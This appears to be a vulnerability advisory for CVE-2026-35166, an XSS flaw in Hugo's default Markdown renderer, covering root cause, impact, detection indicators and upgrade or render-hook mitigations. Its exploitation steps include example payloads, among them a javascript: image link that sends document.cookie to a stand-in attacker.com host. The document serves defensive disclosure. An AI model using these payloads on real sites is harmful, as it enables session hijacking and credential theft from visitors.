CVE-2026-35166: 
NixOS vulnerability analysis and mitigation

CVE-2026-35166 is a Cross-Site Scripting (XSS) vulnerability in Hugo, the popular open-source static site generator, caused by improper escaping of links and image links in its default Markdown-to-HTML renderer. It affects Hugo versions from 0.60.0 up to (but not including) 0.159.2, across Linux, macOS, and Windows platforms. The vulnerability was published by the Hugo maintainer (bep) on April 1, 2026, added to the GitHub Advisory Database on April 3, 2026, and published by NVD on April 6, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (Github Advisory, bugzilla.redhat.com).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Hugo's default Goldmark-based Markdown renderer fails to properly escape user-supplied URLs in link ([text](url)) and image (![alt](url)) syntax before rendering them as HTML, allowing injection of malicious content such as javascript: URIs or other XSS payloads. Exploitation requires that the Hugo site processes untrusted Markdown content (e.g., user-submitted posts or content from external sources); sites that exclusively trust their own Markdown or have implemented custom render hooks for links and images are not affected. The vulnerability was reported by researcher cataliniovita and the fix was committed in the gohugoio/hugo repository at commit 479fe6c (Github Advisory, github.com).

Successful exploitation allows an attacker who can supply untrusted Markdown content to inject malicious scripts or manipulate links rendered in the generated HTML pages, potentially leading to stored or reflected XSS attacks against site visitors. The primary impact is on subsequent (downstream) systems — specifically the browsers of users viewing the generated site — with low confidentiality and low integrity impact (e.g., session token theft, credential phishing, or content manipulation), while availability is not affected. The vulnerable system itself (the Hugo build environment) is not directly compromised (Github Advisory, bugzilla.redhat.com).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of writing. The EPSS score is approximately 0.047% (2nd percentile), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement that the Hugo site must process untrusted Markdown content, limiting the attack surface to specific deployment scenarios (Github Advisory).

1. Identify a target Hugo site: Locate a Hugo-generated website (versions 0.60.0–0.159.1) that accepts and renders untrusted Markdown content, such as a blog with user-submitted posts or a documentation site pulling content from external contributors.
2. Craft a malicious Markdown payload: Construct a Markdown link or image with a malicious URL, for example: [Click me](javascript:alert(document.cookie)) or ![img](javascript:fetch('https://attacker.com/?c='+document.cookie)).
3. Submit the payload: Insert the crafted Markdown into any content input accepted by the site (e.g., a comment field, pull request, or content file in a repository that feeds the Hugo build pipeline).
4. Trigger site build: Wait for or trigger a Hugo site rebuild that processes the malicious Markdown file, causing the unescaped payload to be rendered into the generated HTML output.
5. Victim interaction: When a site visitor clicks the malicious link or the image is loaded, the injected JavaScript executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Github Advisory, github.com).

• File System: Markdown content files (.md) containing suspicious link or image syntax with javascript: URIs, data URIs, or unusual URL schemes (e.g., [text](javascript:...), ![alt](data:text/html,...)); generated HTML output files containing unescaped javascript: href or src attributes.
• Logs: Hugo build logs showing processing of externally sourced or user-submitted Markdown files; web server access logs showing requests to attacker-controlled domains originating from site visitor browsers shortly after viewing specific pages.
• Network: Outbound HTTP requests from site visitors' browsers to unexpected external domains carrying URL parameters resembling encoded cookie or session data, potentially indicating successful XSS exfiltration.

Hugo users should upgrade to version 0.159.2 or later, which contains the official patch for this vulnerability; Fedora packages have been updated with hugo-0.162.1 in Rawhide, F44, and F43. As an immediate workaround without upgrading, administrators can create custom render hooks for links and images within their Hugo theme or project, which override the vulnerable default renderer and allow proper escaping to be enforced. Sites that exclusively use trusted Markdown content authored by the site owners are not at risk and do not require urgent action (Github Advisory, bugzilla.redhat.com).